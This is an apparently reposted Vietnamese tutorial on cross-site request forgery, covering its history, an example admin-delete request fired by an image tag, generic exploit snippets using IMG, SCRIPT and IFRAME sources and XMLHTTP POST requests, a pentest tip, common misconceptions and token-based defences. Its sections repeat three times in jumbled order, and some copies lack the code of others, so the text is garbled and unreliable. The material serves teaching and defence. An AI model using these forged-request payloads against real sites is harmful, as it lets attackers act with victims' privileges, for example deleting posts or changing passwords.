Một số quam niệm sai lầm
Sai lầm 1: Sử dụng POST để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 2: Sử dụng Cookie để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 3: Sử dụng Referer có thể khắc phục triệt để được CSRF
Đúng là việc check referer có thể khiến cho việc khai thác CSRF trở nên khó khăn hơn, nhưng điều đó không có nghĩa là bạn có thể dùng nó để chống CSRF. Tốt nhất là hãy code website để nó không mắc lỗi, chứ đừng để nó mắc lỗi mà đi tìm cách chặn kiểu khác thác của nó. Rõ ràng khi site bị CSRF, nếu ta relay thành công một request hợp lệ thì xem như sẽ khai thác được. Cái khó ở đây là website đó đã check referer. Vậy mấu chốt là phải giả được referer. Nếu bạn đã cài được 1 plugin lên trình duyệt của người dùng, thì xem như hết chuyện để nói, còn trên thực tế bạn có thể dùng XMLHTTP hoặc Flash để tạo ra request có referer giả
Vậy rốt cuộc, nên phòng chống CSRF như thế nào? Dưới đây là một số recomment:
1. Synchronizer Token Pattern:
Tạo thêm 1 trường ẩn có giá trị là token
<form action="/transfer.do" method="post">
<input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi
MGYwMGEwOA==">
…
</form>
2. Disclosure of Token in URL
Cách này đưa token lên URL, bạn vào các website mà có đường dẫn loằng ngoằng toàn số, chính là loại này.
Kiểu này có đặc điểm là không đẹp, khó SEO.
3. Viewstate (ASP.NET)
4. Double Submit Cookies
Kiểu này thực chất là khá giống kiểu 1, nhưng lấy ngay cookie làm trường ẩn.
Sưu tầm.
CSRF/XSRF Cross-Site Request Forgery
Sự ra đời của CSRF
Năm 2001, Peter Watkins trong bài viết: "The Dangers of Allowing Users to Post Images" "trên bugtrag đã lần đầu tiên sử dụng thuật ngữ CSRF.
CSRF (Cross-Site Request Forgery) là gì?
Cross-Site Request Forgery (CSRF / XSRF), là kiểu tấn công lừa người sử dụng thực hiện một hành động mà họ không mong muốn lên ứng dụng web, bằng chính quyền của người dùng đó. Sử dụng một số thủ thuật social engineering đơn giản (như gửi link qua email, chát), hacker có thể lừa người dùng thực hiện một số tác vụ lên ứng dụng web bị lỗi CSRF như: xóa bài, thêm người dùng, thay đổi email, thay đổi mật khẩu của victim ... Nếu người bị lừa là Admin, thì hacker hoàn toàn có thể chiếm quyền điều khiển ứng dụng web đó.
Ví dụ: Trong giao diện quản trị admin control panel của một ứng dụng web cho phép admin xóa bài viết bằng request sau?
Chuyện gì sẽ xảy ra nếu admin nhận được 1 email,đọc một comment có chèn đoạn code HTML sau:
Cookiee và CSRF
Nếu website phân biệt người dùng qua Cookie hoặc Session thì liệu có bị CSRF không. Câu trả lời là có. Khi kết nối tới server để load ảnh tại link trên, trình duyệt đã tự động điền cookie, session vào request đó.
Store CSRF
Phân biệt CSRF vs XSS (Cross-Site Scripting)
Website chỉ sử dụng POST có bị CSRF không
Đúng là việc khai thác CSRF qua POST sẽ khó hơn, mức độ nguy hiểm của những lỗi CSRF qua POST vì thế cũng bị đánh giá thấp hơn . Tuy nhiên, phải hiểu rằng, việc truyền biến qua POST không phải là giải pháp cho XSRF.
Các cách khai thác CSRF phổ biến
1. Khai thác qua các thẻ HTML
IMG SRC
SCRIPT SRC
IFRAME SRC
2. Khai thác qua Javascript (Thường dùng cho các request dạng POST)
'Image' Object
'XMLHTTP' Object
IE
Mozilla
Cách Pentest CSRF
Nếu website cho phép thực hiện các chức năng thông qua các request GET hoặc POST cố định thì có khả năng mắc lỗi CSRF. Tức là nếu mình replay lại được request POST hoặc GET trên thì có khả năng là website sẽ mắc lỗi.
Phòng chống CSRF
Một số quam niệm sai lầm
Sai lầm 1: Sử dụng POST để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 2: Sử dụng Cookie để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 3: Sử dụng Referer có thể khắc phục triệt để được CSRF
Đúng là việc check referer có thể khiến cho việc khai thác CSRF trở nên khó khăn hơn, nhưng điều đó không có nghĩa là bạn có thể dùng nó để chống CSRF. Tốt nhất là hãy code website để nó không mắc lỗi, chứ đừng để nó mắc lỗi mà đi tìm cách chặn kiểu khác thác của nó. Rõ ràng khi site bị CSRF, nếu ta relay thành công một request hợp lệ thì xem như sẽ khai thác được. Cái khó ở đây là website đó đã check referer. Vậy mấu chốt là phải giả được referer. Nếu bạn đã cài được 1 plugin lên trình duyệt của người dùng, thì xem như hết chuyện để nói, còn trên thực tế bạn có thể dùng XMLHTTP hoặc Flash để tạo ra request có referer giả
Vậy rốt cuộc, nên phòng chống CSRF như thế nào? Dưới đây là một số recomment:
1. Synchronizer Token Pattern:
Tạo thêm 1 trường ẩn có giá trị là token
2. Disclosure of Token in URL
Cách này đưa token lên URL, bạn vào các website mà có đường dẫn loằng ngoằng toàn số, chính là loại này.
Kiểu này có đặc điểm là không đẹp, khó SEO.
3. Viewstate (ASP.NET)
4. Double Submit Cookies
Kiểu này thực chất là khá giống kiểu 1, nhưng lấy ngay cookie làm trường ẩn.
Sưu tầm.
Năm 2001, Peter Watkins trong bài viết: "The Dangers of Allowing Users to Post Images" "trên bugtrag đã lần đầu tiên sử dụng thuật ngữ CSRF.
CSRF (Cross-Site Request Forgery) là gì?
Cross-Site Request Forgery (CSRF / XSRF), là kiểu tấn công lừa người sử dụng thực hiện một hành động mà họ không mong muốn lên ứng dụng web, bằng chính quyền của người dùng đó. Sử dụng một số thủ thuật social engineering đơn giản (như gửi link qua email, chát), hacker có thể lừa người dùng thực hiện một số tác vụ lên ứng dụng web bị lỗi CSRF như: xóa bài, thêm người dùng, thay đổi email, thay đổi mật khẩu của victim ... Nếu người bị lừa là Admin, thì hacker hoàn toàn có thể chiếm quyền điều khiển ứng dụng web đó.
Ví dụ: Trong giao diện quản trị admin control panel của một ứng dụng web cho phép admin xóa bài viết bằng request sau?
http://WebSites.com/admincp/index.php?act=delete&id=[color="#FF0000"]ID[/color]
Chuyện gì sẽ xảy ra nếu admin nhận được 1 email,đọc một comment có chèn đoạn code HTML sau:
<img src="http://WebSites.com/admincp/index.php?act=delete&id=[color="#FF0000"]ID[/color]" /Cookiee và CSRF
Nếu website phân biệt người dùng qua Cookie hoặc Session thì liệu có bị CSRF không. Câu trả lời là có. Khi kết nối tới server để load ảnh tại link trên, trình duyệt đã tự động điền cookie, session vào request đó.
Store CSRF
Phân biệt CSRF vs XSS (Cross-Site Scripting)
Website chỉ sử dụng POST có bị CSRF không
Đúng là việc khai thác CSRF qua POST sẽ khó hơn, mức độ nguy hiểm của những lỗi CSRF qua POST vì thế cũng bị đánh giá thấp hơn . Tuy nhiên, phải hiểu rằng, việc truyền biến qua POST không phải là giải pháp cho XSRF.
Các cách khai thác CSRF phổ biến
1. Khai thác qua các thẻ HTML
IMG SRC
<img src="http://host/?command">
SCRIPT SRC
<script src="http://host/?command">
IFRAME SRC
<iframe src="http://host/?command">
2. Khai thác qua Javascript (Thường dùng cho các request dạng POST)
'Image' Object
<script>
var foo = new Image();
foo.src = "http://host/?command";
</script>
'XMLHTTP' Object
IE
<script>
var post_data = 'name=value';
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("POST", 'http://url/path/file.ext', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>
Mozilla
<script>
var post_data = 'name=value';
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST", 'http://url/path/file.ext', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>
Ngoài ra còn rất nhiều kiểu khai thác khác nữa như sử dụng VBScript, Action Script, hay dùng các ngôn ngữ XML để thực hiện request.
CSRF ngoài việc khai thác trực tiếp qua trình duyệt, còn có thể khai thác qua Flash, Document file (PDF, DOC, EXEL ...), movie (WMA, AVI..), qua RSS, atom ...
Cách Pentest CSRF
Nếu website cho phép thực hiện các chức năng thông qua các request GET hoặc POST cố định thì có khả năng mắc lỗi CSRF. Tức là nếu mình replay lại được request POST hoặc GET trên thì có khả năng là website sẽ mắc lỗi.
Phòng chống CSRF
Một số quam niệm sai lầm
Sai lầm 1: Sử dụng POST để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 2: Sử dụng Cookie để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 3: Sử dụng Referer có thể khắc phục triệt để được CSRF
Đúng là việc check referer có thể khiến cho việc khai thác CSRF trở nên khó khăn hơn, nhưng điều đó không có nghĩa là bạn có thể dùng nó để chống CSRF. Tốt nhất là hãy code website để nó không mắc lỗi, chứ đừng để nó mắc lỗi mà đi tìm cách chặn kiểu khác thác của nó. Rõ ràng khi site bị CSRF, nếu ta relay thành công một request hợp lệ thì xem như sẽ khai thác được. Cái khó ở đây là website đó đã check referer. Vậy mấu chốt là phải giả được referer. Nếu bạn đã cài được 1 plugin lên trình duyệt của người dùng, thì xem như hết chuyện để nói, còn trên thực tế bạn có thể dùng XMLHTTP hoặc Flash để tạo ra request có referer giả
Vậy rốt cuộc, nên phòng chống CSRF như thế nào? Dưới đây là một số recomment:
1. Synchronizer Token Pattern:
Tạo thêm 1 trường ẩn có giá trị là token
<form action="/transfer.do" method="post">
<input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTlhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTVi
MGYwMGEwOA==">
…
</form>
2. Disclosure of Token in URL
Cách này đưa token lên URL, bạn vào các website mà có đường dẫn loằng ngoằng toàn số, chính là loại này.
Kiểu này có đặc điểm là không đẹp, khó SEO.
3. Viewstate (ASP.NET)
4. Double Submit Cookies
Kiểu này thực chất là khá giống kiểu 1, nhưng lấy ngay cookie làm trường ẩn.
Sưu tầm.